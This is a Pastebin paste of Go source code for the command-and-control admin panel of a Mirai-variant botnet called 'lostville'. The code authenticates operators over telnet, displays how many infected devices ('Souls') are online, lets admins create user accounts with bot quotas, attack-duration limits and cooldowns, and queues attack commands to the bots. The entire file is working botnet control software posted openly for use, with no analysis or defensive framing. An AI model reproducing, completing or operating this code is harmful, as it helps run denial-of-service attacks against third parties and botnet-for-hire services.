Advertisement
Telnvt

[MIRAI] lostville V1 (just the cnc)

Sep 10th, 2019
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.28 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. this.conn.Write([]byte("\033[2J\033[1;1H"))
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[0;35mUsername\033[97m:\033[1;37m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  36. this.conn.Write([]byte("\033[0;35mPassword\033[97m:\033[1;37m"))
  37. password, err := this.ReadLine(true)
  38. if err != nil {
  39. return
  40. }
  41.  
  42. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  43. this.conn.Write([]byte("\r\n"))
  44.  
  45. var loggedIn bool
  46. var userInfo AccountInfo
  47. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  48. this.conn.Write([]byte("\r\033[1;31mERROR\033[1;31m:Wrong Info!!\r\n"))
  49. buf := make([]byte, 1)
  50. this.conn.Read(buf)
  51. return
  52. }
  53.  
  54. this.conn.Write([]byte("\r\n\033[0m"))
  55. go func() {
  56. i := 0
  57. for {
  58. var BotCount int
  59. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  60. BotCount = userInfo.maxBots
  61. } else {
  62. BotCount = clientList.Count()
  63. }
  64.  
  65. time.Sleep(time.Second)
  66. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0; %d Souls | %s\007",BotCount, username))); err != nil {
  67. this.conn.Close()
  68. break
  69. }
  70. i++
  71. if i % 60 == 0 {
  72. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  73. }
  74. }
  75. }()
  76. spinBuf := []byte{'-', '\\', '|', '/'}
  77. for i := 0; i < 7; i++ {
  78. this.conn.Write([]byte("\033[2J\033[1;1H"))
  79. this.conn.Write(append([]byte("\r\033[0;35mTaking Your Soul... \033[97m"), spinBuf[i % len(spinBuf)]))
  80. time.Sleep(time.Duration(300) * time.Millisecond)
  81. }
  82.  
  83. this.conn.Write([]byte("\033[2J\033[1;1H"))
  84. this.conn.Write([]byte("\033[0;35m\r\n"))
  85. this.conn.Write([]byte("\033[97m\r\n"))
  86. this.conn.Write([]byte("\033[97m Misunderstood,Broken,Alone,Confused,Lost \r\n"))
  87. this.conn.Write([]byte("\033[97m These are all words that describe me as a person, \r\n"))
  88. this.conn.Write([]byte("\033[97m everyone is broken in their own way. \r\n"))
  89. this.conn.Write([]byte("\033[97m Don't worry everything will get better. \r\n"))
  90. this.conn.Write([]byte("\033[97m It always does <3 \r\n"))
  91. this.conn.Write([]byte("\033[97m \r\n"))
  92. this.conn.Write([]byte("\033[0;35m Welcome to lostville. \r\n"))
  93. this.conn.Write([]byte("\033[0;35m lostville made by telnvt. \r\n"))
  94. this.conn.Write([]byte("\033[0;35m\r\n"))
  95. this.conn.Write([]byte("\033[0;35m\r\n"))
  96.  
  97.  
  98.  
  99. for {
  100. var botCatagory string
  101. var botCount int
  102. this.conn.Write([]byte("\033[0;35m"+username+"\x1b[97m@\033[0;35mlostville\033[97m>\033[0m"))
  103. cmd, err := this.ReadLine(false)
  104.  
  105. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  106.  
  107. this.conn.Write([]byte("\033[2J\033[1;1H"))
  108. this.conn.Write([]byte("\033[0;35m\r\n"))
  109. this.conn.Write([]byte("\033[97m\r\n"))
  110. this.conn.Write([]byte("\033[97m Misunderstood,Broken,Alone,Confused,Lost \r\n"))
  111. this.conn.Write([]byte("\033[97m These are all words that describe me as a person, \r\n"))
  112. this.conn.Write([]byte("\033[97m everyone is broken in their own way. \r\n"))
  113. this.conn.Write([]byte("\033[97m Don't worry everything will get better. \r\n"))
  114. this.conn.Write([]byte("\033[97m It always does <3 \r\n"))
  115. this.conn.Write([]byte("\033[97m \r\n"))
  116. this.conn.Write([]byte("\033[0;35m Welcome to lostville. \r\n"))
  117. this.conn.Write([]byte("\033[0;35m lostville made by telnvt. \r\n"))
  118. this.conn.Write([]byte("\033[0;35m\r\n"))
  119. this.conn.Write([]byte("\033[0;35m\r\n"))
  120.  
  121.  
  122. continue
  123. }
  124. if err != nil || cmd == "exit" || cmd == "quit" {
  125. return
  126. }
  127.  
  128. if cmd == "" {
  129. continue
  130. }
  131.  
  132. botCount = userInfo.maxBots
  133.  
  134. if userInfo.admin == 1 && cmd == "adduser" {
  135. this.conn.Write([]byte("Enter new username: "))
  136. new_un, err := this.ReadLine(false)
  137. if err != nil {
  138. return
  139. }
  140. this.conn.Write([]byte("Enter new password: "))
  141. new_pw, err := this.ReadLine(false)
  142. if err != nil {
  143. return
  144. }
  145. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  146. max_bots_str, err := this.ReadLine(false)
  147. if err != nil {
  148. return
  149. }
  150. max_bots, err := strconv.Atoi(max_bots_str)
  151. if err != nil {
  152. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", "Failed to parse the bot count")))
  153. continue
  154. }
  155. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  156. duration_str, err := this.ReadLine(false)
  157. if err != nil {
  158. return
  159. }
  160. duration, err := strconv.Atoi(duration_str)
  161. if err != nil {
  162. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  163. continue
  164. }
  165. this.conn.Write([]byte("Cooldown time (0 for none): "))
  166. cooldown_str, err := this.ReadLine(false)
  167. if err != nil {
  168. return
  169. }
  170. cooldown, err := strconv.Atoi(cooldown_str)
  171. if err != nil {
  172. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", "Failed to parse the cooldown")))
  173. continue
  174. }
  175. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  176. confirm, err := this.ReadLine(false)
  177. if err != nil {
  178. return
  179. }
  180. if confirm != "y" {
  181. continue
  182. }
  183. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  184. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  185. } else {
  186. this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  187. }
  188. continue
  189. }
  190.  
  191. if cmd == "bots" {
  192. botCount = clientList.Count()
  193. m := clientList.Distribution()
  194. for k, v := range m {
  195. this.conn.Write([]byte(fmt.Sprintf("\033[31m%s\033[0;35m:\033[31m\t%d\r\n", k, v)))
  196. }
  197. continue
  198. }
  199. if cmd[0] == '-' {
  200. countSplit := strings.SplitN(cmd, " ", 2)
  201. count := countSplit[0][1:]
  202. botCount, err = strconv.Atoi(count)
  203. if err != nil {
  204. this.conn.Write([]byte(fmt.Sprintf("\033[0;35mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  205. continue
  206. }
  207. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  208. this.conn.Write([]byte(fmt.Sprintf("\033[0;35mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  209. continue
  210. }
  211. cmd = countSplit[1]
  212. }
  213.  
  214. atk, err := NewAttack(cmd, userInfo.admin)
  215. if err != nil {
  216. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", err.Error())))
  217. } else {
  218. buf, err := atk.Build()
  219. if err != nil {
  220. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", err.Error())))
  221. } else {
  222. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  223. this.conn.Write([]byte(fmt.Sprintf("\033[0;35m%s\033[0m\r\n", err.Error())))
  224. } else if !database.ContainsWhitelistedTargets(atk) {
  225. clientList.QueueBuf(buf, botCount, botCatagory)
  226. } else {
  227. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  228. }
  229. }
  230. }
  231. }
  232. }
  233.  
  234. func (this *Admin) ReadLine(masked bool) (string, error) {
  235. buf := make([]byte, 1024)
  236. bufPos := 0
  237.  
  238. for {
  239. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  240. if err != nil || n != 1 {
  241. return "", err
  242. }
  243. if buf[bufPos] == '\xFF' {
  244. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  245. if err != nil || n != 2 {
  246. return "", err
  247. }
  248. bufPos--
  249. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  250. if bufPos > 0 {
  251. this.conn.Write([]byte(string(buf[bufPos])))
  252. bufPos--
  253. }
  254. bufPos--
  255. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  256. bufPos--
  257. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  258. this.conn.Write([]byte("\r\n"))
  259. return string(buf[:bufPos]), nil
  260. } else if buf[bufPos] == 0x03 {
  261. this.conn.Write([]byte("^C\r\n"))
  262. return "", nil
  263. } else {
  264. if buf[bufPos] == '\x1B' {
  265. buf[bufPos] = '^';
  266. this.conn.Write([]byte(string(buf[bufPos])))
  267. bufPos++;
  268. buf[bufPos] = '[';
  269. this.conn.Write([]byte(string(buf[bufPos])))
  270. } else if masked {
  271. this.conn.Write([]byte("*"))
  272. } else {
  273. this.conn.Write([]byte(string(buf[bufPos])))
  274. }
  275. }
  276. bufPos++
  277. }
  278. return string(buf), nil
  279. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement